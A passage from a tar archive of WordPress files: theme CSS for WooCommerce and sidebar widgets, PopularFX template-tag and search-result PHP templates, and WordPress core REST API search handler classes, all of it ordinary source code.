.woocommerce-page ul.products.columns-6 li.product{
margin-right: 0 !important;
margin-bottom: 1em !important;
}
.woocommerce main,
.woocommerce-page main {
padding: 1em !important;
}
.woocommerce #content table.cart td.actions .coupon, .woocommerce table.cart td.actions .coupon,
.woocommerce-page #content table.cart td.actions .coupon, .woocommerce-page table.cart td.actions .coupon,
.woocommerce-cart table.cart td.actions .coupon .input-text,
.woocommerce table.cart td.actions .coupon .input-text+.button{
width: 100%;
}
.woocommerce-page table.cart td.actions .button{
width: 100%;
margin-top: 10px;
}
}
@media only screen and (max-width: 301px){
.woocommerce ul.products li.product .woocommerce-loop-product__title {
padding: 0px 10px 5px;
}
.woocommerce ul.products li.product .price {
padding: 0px 10px;
}
.woocommerce ul.products li.product .button {
margin-left: 10px;
margin-bottom: 1.5em;
}
} search_template_1775659388/sidebar.css 0000666 00000021367 15221117310 0013227 0 ustar 00 /*!
Sidebar for templates
*/
/*--------------------------------------------------------------
# Widgets
--------------------------------------------------------------*/
.widget {
margin: 0 0 1.5em;
}
.widget select {
max-width: 100%;
}
.widget ul {
list-style: disc;
}
.widget-area{
display:inline-block;
background-color:#ffffff;
padding:25px;
margin-top:30px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
}
.widget-title{
font-size:20px;
font-weight: 500;
text-decoration: none;
color: #4d4d4d;
margin: 8px 0px;
}
.widget ul,
.widget ol{
margin: 0 0 1.5em 2em;
}
.widget li a{
text-decoration:none;
color:#212121;
font-size:14px;
line-height:1.8;
}
.widget li a:hover{
color:#2196f3;
}
.widget_calendar table,
.widget_calendar td,
.widget_calendar th {
padding: 0;
text-align: center;
border-spacing:0;
}
.widget_calendar td {
border-right: none;
border-left: none;
}
.widget_calendar .widget-title{
text-transform:capitalize;
}
.widget_calendar .wp-calendar-table caption{
margin:10px 0px;
}
.widget_calendar .wp-calendar-table tr td{
text-decoration:none;
border-bottom:1px solid #e0e0e0;
padding:5px;
}
.widget_calendar .wp-calendar-table tr th{
text-decoration:none;
border-top:1px solid #e0e0e0;
border-bottom:1px solid #e0e0e0;
padding:5px;
}
.widget_calendar .wp-calendar-table td a{
text-decoration:none;
}
.widget input.search-field{
border: 1px solid #eaeaea;
width: 100%;
font-size: 16px;
padding: 8px;
color: #666;
border-radius: 3px;
line-height: 1.5;
margin: 0;
}
.widget input.search-submit{
background-color: #2196f3;
color: #fff;
font-weight: 500;
padding: 14px 13px;
vertical-align: middle;
border:none;
margin-top:5px;
cursor: pointer;
border-radius: 3px;
font-size: 0.75rem;
line-height: 1;
}
/*--------------------------------------------------------------
# Accessibility
--------------------------------------------------------------*/
/* Text meant only for screen readers. */
.screen-reader-text {
border: 0;
clip: rect(1px, 1px, 1px, 1px);
clip-path: inset(50%);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute !important;
width: 1px;
word-wrap: normal !important;
}
.screen-reader-text:focus {
background-color: #f1f1f1;
border-radius: 3px;
box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
clip: auto !important;
clip-path: none;
color: #21759b;
display: block;
font-size: 0.875rem;
font-weight: 700;
height: auto;
left: 5px;
line-height: normal;
padding: 15px 23px 14px;
text-decoration: none;
top: 5px;
width: auto;
z-index: 100000;
}
/* Do not show the outline on the skip link target. */
#primary[tabindex="-1"]:focus {
outline: 0;
}
/*--------------------------------------------------------------
# Alignments
--------------------------------------------------------------*/
.alignleft {
float: left;
margin-right: 1.5em;
margin-bottom: 1.5em;
}
.alignright {
float: right;
margin-left: 1.5em;
margin-bottom: 1.5em;
}
.aligncenter {
clear: both;
display: block;
margin-left: auto;
margin-right: auto;
margin-bottom: 1.5em;
}
.widget_recent_entries .widgettitle,
.widget_categories .widgettitle,
.widget_archive .widgettitle{
font-size: 22px;
font-weight: 600;
text-decoration: none;
color: #4d4d4d;
margin: 8px 0px;
}
.widget_archive select{
max-width: 100%;
width: 200px;
border-radius: 4px;
padding: 5px 10px;
height: 40px;
}
/*--------------------------------------------------------------
# Infinite scroll
--------------------------------------------------------------*/
/* Hide the Posts Navigation and the Footer when Infinite Scroll is in use. */
.infinite-scroll .posts-navigation,
.infinite-scroll.neverending .site-footer {
display: none;
}
/* Re-display the Theme Footer when Infinite Scroll has reached its end. */
.infinity-end.neverending .site-footer {
display: block;
}
/*--------------------------------------------------------------
# Woocoomerce
--------------------------------------------------------------*/
.woocommerce-MyAccount-navigation ul{
list-style-type:none;
margin:0px;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{
padding: 10px 20px;
border-bottom: 1px solid #616161;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link a{
color:#000000;
text-decoration:none;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active{
background-color:#2196f3;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active a{
color:#ffffff;
}
.woocommerce-account .woocommerce-MyAccount-content{
padding:30px;
}
.woocommerce-Address-title h3{
font-weight:600;
text-transform:Capitalize;
}
.woocommerce-account .addresses .title .edit{
text-decoration:none;
}
/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
margin: 0 7.6923% 3.5em;
background-color:#ffffff;
padding:20px 40px;
}
.comment-list + .comment-respond,
.comment-navigation + .comment-respond {
padding-top: 1.75em;
}
.comments-title,
.comment-reply-title {
font-size: 23px;
font-size: 1.4375rem;
font-weight: 500;
line-height: 1.3125;
}
.comments-title {
margin-bottom: 1.217391304em;
}
.comment-list {
list-style: none;
margin: 0;
padding:0;
}
.comment-list article,
.comment-list .pingback,
.comment-list .trackback {
border-top: 1px solid #212121;
padding: 1.75em 0;
}
.comment-list .children {
list-style: none;
margin: 0;
}
.comment-list .children > li {
padding-left: 0.875em;
}
.comment-author {
color: #1a1a1a;
}
.vcard .fn a{
color:#171717;
text-transform:capitalize;
font-size: 18px;
font-weight: 500;
text-decoration: none;
}
.comment-author .avatar {
float: left;
height: 40px;
margin-right: 0.875em;
position: relative;
width: 40px;
}
.comment-metadata {
font-size: 13px;
font-size: 0.8125rem;
line-height: 1.6153846154;
}
.comment-metadata {
margin-bottom: 10px;
display:inline-block;
}
.comment-metadata a:hover,
.comment-metadata a:focus {
}
.comment-metadata .edit-link {
display: inline-block;
}
.comment-metadata .edit-link:before {
content: "\002f";
display: inline-block;
opacity: 0.7;
padding: 0 0.538461538em;
}
.comment-content{
font-size:16px;
font-weight:100;
line-height:1.8;
}
.comment-content ul,
.comment-content ol {
margin: 0 0 1.5em 1.25em;
}
.comment-content li > ul,
.comment-content li > ol {
margin-bottom: 0;
}
.comment-reply-link {
border-radius: 2px;
color: #ffffff;
background-color:#2196f3;
display: inline-block;
font-size: 13px;
font-size: 0.8125rem;
line-height: 1;
padding: 10px 20px;
text-decoration:none;
border: unset;
}
.comment-reply-link:hover,
.comment-reply-link:focus {
border-color: currentColor;
color: #ffffff;
outline: 0;
}
.comment-form {
/*padding-top: 1.75em;*/
}
.comment-form label {
display: block;
font-size: 13px;
font-size: 0.8125rem;
letter-spacing: 0.076923077em;
line-height: 1.6153846154;
margin-bottom: 0.5384615385em;
text-transform: uppercase;
}
.comment-list .comment-form {
padding-bottom: 1.75em;
}
.comment-notes,
.comment-awaiting-moderation{
font-size: 13px;
font-size: 0.8125rem;
line-height: 1.6153846154;
margin-bottom: 2.1538461538em;
}
.no-comments {
border-top: 1px solid #d1d1d1;
font-weight: 700;
margin: 0;
padding-top: 1.75em;
}
.comment-navigation + .no-comments {
border-top: 0;
padding-top: 0;
}
.comment-reply-title small {
font-size: 100%;
}
.comment-reply-title small a {
border: 0;
height: 40px;
font-size: 14px;
overflow: hidden;
width: 90px;
margin-left: 10px;
text-decoration:none;
font-weight:400;
}
.comment-reply-title small a:hover,
.comment-reply-title small a:focus {
}
.comment-form-comment{
margin-bottom: 1.5em;
}
.comment-form-comment textarea{
background-color:#f5f5f5;
color: #666;
border: 1px solid #ccc;
border-radius: 3px;
padding: 3px;
width: 100%;
}
.bypostauthor{
display: block;
}
.says{
display:none;
}
.comment-respond a,
.comment-metadata a{
text-decoration:none;
color: #4169e1;
}
.comment-respond .form-submit .submit{
background-color: #2196f3;
color: #fff;
font-weight: 500;
padding: 8px 13px;
border: none;
border-radius: 3px;
}
/* Image Navigation */
/*--------------------------------------------------------------
# Sidebar
--------------------------------------------------------------*/
@media all and (max-width:768px){
main, .pagelayer-content{
width: 100% !important;
}
.widget-area{
width:50%;
float:none;
margin:30px;
display:block;
}
}
@media all and (max-width:599px){
main, .pagelayer-content{
width: 100% !important;
}
.widget-area{
width:auto !important;
float:none;
margin:15px;
display:block;
}
}
/* SitePad Posts CSS End */
search_template_1775659388/inc/template-tags.php 0000666 00000011340 15221117310 0015123 0 ustar 00 <?php
/**
* Custom template tags for this theme
*
* Eventually, some of the functionality here could be replaced by core features.
*
* @package PopularFX
*/
if ( ! function_exists( 'popularfx_posted_on' ) ) :
/**
* Prints HTML with meta information for the current post-date/time.
*/
function popularfx_posted_on() {
$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) {
$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
}
$time_string = sprintf(
$time_string,
esc_attr( get_the_date( DATE_W3C ) ),
esc_html( get_the_date() ),
esc_attr( get_the_modified_date( DATE_W3C ) ),
esc_html( get_the_modified_date() )
);
$posted_on = sprintf(
/* translators: %s: post date. */
esc_html_x( 'Posted on %s', 'post date', 'popularfx' ),
'<a href="' . esc_url( get_permalink() ) . '" rel="bookmark">' . $time_string . '</a>'
);
echo '<span class="posted-on">' . $posted_on . '</span>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
endif;
if ( ! function_exists( 'popularfx_posted_by' ) ) :
/**
* Prints HTML with meta information for the current author.
*/
function popularfx_posted_by() {
$byline = sprintf(
/* translators: %s: post author. */
esc_html_x( 'by %s', 'post author', 'popularfx' ),
'<span class="author vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '">' . esc_html( get_the_author() ) . '</a></span>'
);
echo '<span class="byline"> ' . $byline . '</span>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
endif;
if ( ! function_exists( 'popularfx_entry_footer' ) ) :
/**
* Prints HTML with meta information for the categories, tags and comments.
*/
function popularfx_entry_footer() {
// Hide category and tag text for pages.
if ( 'post' === get_post_type() ) {
/* translators: used between list items, there is a space after the comma */
$categories_list = get_the_category_list( esc_html__( ', ', 'popularfx' ) );
if ( $categories_list ) {
/* translators: 1: list of categories. */
printf( '<span class="cat-links">' . esc_html__( 'Posted in %1$s', 'popularfx' ) . '</span>', $categories_list ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/* translators: used between list items, there is a space after the comma */
$tags_list = get_the_tag_list( '', esc_html_x( ', ', 'list item separator', 'popularfx' ) );
if ( $tags_list ) {
/* translators: 1: list of tags. */
printf( '<span class="tags-links">' . esc_html__( 'Tagged %1$s', 'popularfx' ) . '</span>', $tags_list ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
}
if ( ! is_single() && ! post_password_required() && ( comments_open() || get_comments_number() ) ) {
echo '<span class="comments-link">';
comments_popup_link(
sprintf(
wp_kses(
/* translators: %s: post title */
__( 'Leave a Comment<span class="screen-reader-text"> on %s</span>', 'popularfx' ),
array(
'span' => array(
'class' => array(),
),
)
),
wp_kses_post( get_the_title() )
)
);
echo '</span>';
}
edit_post_link(
sprintf(
wp_kses(
/* translators: %s: Name of current post. Only visible to screen readers */
__( 'Edit <span class="screen-reader-text">%s</span>', 'popularfx' ),
array(
'span' => array(
'class' => array(),
),
)
),
wp_kses_post( get_the_title() )
),
'<span class="edit-link">',
'</span>'
);
}
endif;
if ( ! function_exists( 'popularfx_post_thumbnail' ) ) :
/**
* Displays an optional post thumbnail.
*
* Wraps the post thumbnail in an anchor element on index views, or a div
* element when on single views.
*/
function popularfx_post_thumbnail() {
if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) {
return;
}
if ( is_singular() ) :
?>
<div class="post-thumbnail">
<?php the_post_thumbnail(); ?>
</div><!-- .post-thumbnail -->
<?php else : ?>
<a class="post-thumbnail" href="<?php the_permalink(); ?>" aria-hidden="true" tabindex="-1">
<?php
the_post_thumbnail(
'post-thumbnail',
array(
'alt' => the_title_attribute(
array(
'echo' => false,
)
),
)
);
?>
</a>
<?php
endif; // End is_singular().
}
endif;
if ( ! function_exists( 'wp_body_open' ) ) :
/**
* Shim for sites older than 5.2.
*
* @link https://core.trac.wordpress.org/ticket/12563
*/
function wp_body_open() {
do_action( 'wp_body_open' );
}
endif;
search_template_1775659388/template-parts/content-search.php 0000666 00000001601 15221117310 0017461 0 ustar 00 <?php
/**
* Template part for displaying results in search pages
*
* @link https://developer.wordpress.org/themes/basics/template-hierarchy/
*
* @package PopularFX
*/
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<header class="entry-header">
<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
<?php if ( 'post' === get_post_type() ) : ?>
<div class="entry-meta">
<?php
popularfx_posted_on();
popularfx_posted_by();
?>
</div><!-- .entry-meta -->
<?php endif; ?>
</header><!-- .entry-header -->
<?php popularfx_post_thumbnail(); ?>
<div class="entry-summary">
<?php the_excerpt(); ?>
</div><!-- .entry-summary -->
<footer class="entry-footer">
<?php popularfx_entry_footer(); ?>
</footer><!-- .entry-footer -->
</article><!-- #post-<?php the_ID(); ?> -->
search/class-wp-rest-post-search-handler.php 0000666 00000013651 15221117310 0015072 0 ustar 00 <?php
/**
* REST API: WP_REST_Post_Search_Handler class
*
* @package WordPress
* @subpackage REST_API
* @since 5.0.0
*/
/**
* Core class representing a search handler for posts in the REST API.
*
* @since 5.0.0
*
* @see WP_REST_Search_Handler
*/
class WP_REST_Post_Search_Handler extends WP_REST_Search_Handler {
/**
* Constructor.
*
* @since 5.0.0
*/
public function __construct() {
$this->type = 'post';
// Support all public post types except attachments.
$this->subtypes = array_diff(
array_values(
get_post_types(
array(
'public' => true,
'show_in_rest' => true,
),
'names'
)
),
array( 'attachment' )
);
}
/**
* Searches posts for a given search request.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type int[] $ids Array containing the matching post IDs.
* @type int $total Total count for the matching search results.
* }
*/
public function search_items( WP_REST_Request $request ) {
// Get the post types to search for the current request.
$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
$post_types = $this->subtypes;
}
$query_args = array(
'post_type' => $post_types,
'post_status' => 'publish',
'paged' => (int) $request['page'],
'posts_per_page' => (int) $request['per_page'],
'ignore_sticky_posts' => true,
);
if ( ! empty( $request['search'] ) ) {
$query_args['s'] = $request['search'];
}
if ( ! empty( $request['exclude'] ) ) {
$query_args['post__not_in'] = $request['exclude'];
}
if ( ! empty( $request['include'] ) ) {
$query_args['post__in'] = $request['include'];
}
/**
* Filters the query arguments for a REST API post search request.
*
* Enables adding extra arguments or setting defaults for a post search request.
*
* @since 5.1.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_post_search_query', $query_args, $request );
$query = new WP_Query();
$posts = $query->query( $query_args );
// Querying the whole post object will warm the object cache, avoiding an extra query per result.
$found_ids = wp_list_pluck( $posts, 'ID' );
$total = $query->found_posts;
return array(
self::RESULT_IDS => $found_ids,
self::RESULT_TOTAL => $total,
);
}
/**
* Prepares the search result for a given post ID.
*
* @since 5.0.0
*
* @param int $id Post ID.
* @param array $fields Fields to include for the post.
* @return array {
* Associative array containing fields for the post based on the `$fields` parameter.
*
* @type int $id Optional. Post ID.
* @type string $title Optional. Post title.
* @type string $url Optional. Post permalink URL.
* @type string $type Optional. Post type.
* }
*/
public function prepare_item( $id, array $fields ) {
$post = get_post( $id );
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
if ( post_type_supports( $post->post_type, 'title' ) ) {
add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
} else {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
}
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
}
if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
}
return $data;
}
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
*
* @param int $id Item ID.
* @return array Links for the given item.
*/
public function prepare_item_links( $id ) {
$post = get_post( $id );
$links = array();
$item_route = rest_get_route_for_post( $post );
if ( ! empty( $item_route ) ) {
$links['self'] = array(
'href' => rest_url( $item_route ),
'embeddable' => true,
);
}
$links['about'] = array(
'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
);
return $links;
}
/**
* Overwrites the default protected and private title format.
*
* By default, WordPress will show password protected or private posts with a title of
* "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
* in a machine-readable format, we remove the prefix.
*
* @since 5.0.0
*
* @return string Title format.
*/
public function protected_title_format() {
return '%s';
}
/**
* Attempts to detect the route to access a single item.
*
* @since 5.0.0
* @deprecated 5.5.0 Use rest_get_route_for_post()
* @see rest_get_route_for_post()
*
* @param WP_Post $post Post object.
* @return string REST route relative to the REST base URI, or empty string if unknown.
*/
protected function detect_rest_item_route( $post ) {
_deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' );
return rest_get_route_for_post( $post );
}
}
search/class-wp-rest-search-handler.php 0000666 00000004367 15221117310 0014113 0 ustar 00 <?php
/**
* REST API: WP_REST_Search_Handler class
*
* @package WordPress
* @subpackage REST_API
* @since 5.0.0
*/
/**
* Core base class representing a search handler for an object type in the REST API.
*
* @since 5.0.0
*/
#[AllowDynamicProperties]
abstract class WP_REST_Search_Handler {
/**
* Field containing the IDs in the search result.
*/
const RESULT_IDS = 'ids';
/**
* Field containing the total count in the search result.
*/
const RESULT_TOTAL = 'total';
/**
* Object type managed by this search handler.
*
* @since 5.0.0
* @var string
*/
protected $type = '';
/**
* Object subtypes managed by this search handler.
*
* @since 5.0.0
* @var string[]
*/
protected $subtypes = array();
/**
* Gets the object type managed by this search handler.
*
* @since 5.0.0
*
* @return string Object type identifier.
*/
public function get_type() {
return $this->type;
}
/**
* Gets the object subtypes managed by this search handler.
*
* @since 5.0.0
*
* @return string[] Array of object subtype identifiers.
*/
public function get_subtypes() {
return $this->subtypes;
}
/**
* Searches the object type content for a given search request.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full REST request.
* @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
* an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
* total count for the matching search results.
*/
abstract public function search_items( WP_REST_Request $request );
/**
* Prepares the search result for a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @param array $fields Fields to include for the item.
* @return array Associative array containing all fields for the item.
*/
abstract public function prepare_item( $id, array $fields );
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @return array Links for the given item.
*/
abstract public function prepare_item_links( $id );
}
search/class-wp-rest-post-format-search-handler.php 0000666 00000007532 15221117310 0016361 0 ustar 00 <?php
/**
* REST API: WP_REST_Post_Format_Search_Handler class
*
* @package WordPress
* @subpackage REST_API
* @since 5.6.0
*/
/**
* Core class representing a search handler for post formats in the REST API.
*
* @since 5.6.0
*
* @see WP_REST_Search_Handler
*/
class WP_REST_Post_Format_Search_Handler extends WP_REST_Search_Handler {
/**
* Constructor.
*
* @since 5.6.0
*/
public function __construct() {
$this->type = 'post-format';
}
/**
* Searches the post formats for a given search request.
*
* @since 5.6.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type string[] $ids Array containing slugs for the matching post formats.
* @type int $total Total count for the matching search results.
* }
*/
public function search_items( WP_REST_Request $request ) {
$format_strings = get_post_format_strings();
$format_slugs = array_keys( $format_strings );
$query_args = array();
if ( ! empty( $request['search'] ) ) {
$query_args['search'] = $request['search'];
}
/**
* Filters the query arguments for a REST API post format search request.
*
* Enables adding extra arguments or setting defaults for a post format search request.
*
* @since 5.6.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );
$found_ids = array();
foreach ( $format_slugs as $format_slug ) {
if ( ! empty( $query_args['search'] ) ) {
$format_string = get_post_format_string( $format_slug );
$format_slug_match = stripos( $format_slug, $query_args['search'] ) !== false;
$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
if ( ! $format_slug_match && ! $format_string_match ) {
continue;
}
}
$format_link = get_post_format_link( $format_slug );
if ( $format_link ) {
$found_ids[] = $format_slug;
}
}
$page = (int) $request['page'];
$per_page = (int) $request['per_page'];
return array(
self::RESULT_IDS => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
self::RESULT_TOTAL => count( $found_ids ),
);
}
/**
* Prepares the search result for a given post format.
*
* @since 5.6.0
*
* @param string $id Item ID, the post format slug.
* @param array $fields Fields to include for the item.
* @return array {
* Associative array containing fields for the post format based on the `$fields` parameter.
*
* @type string $id Optional. Post format slug.
* @type string $title Optional. Post format name.
* @type string $url Optional. Post format permalink URL.
* @type string $type Optional. String 'post-format'.
*}
*/
public function prepare_item( $id, array $fields ) {
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
}
return $data;
}
/**
* Prepares links for the search result.
*
* @since 5.6.0
*
* @param string $id Item ID, the post format slug.
* @return array Links for the given item.
*/
public function prepare_item_links( $id ) {
return array();
}
}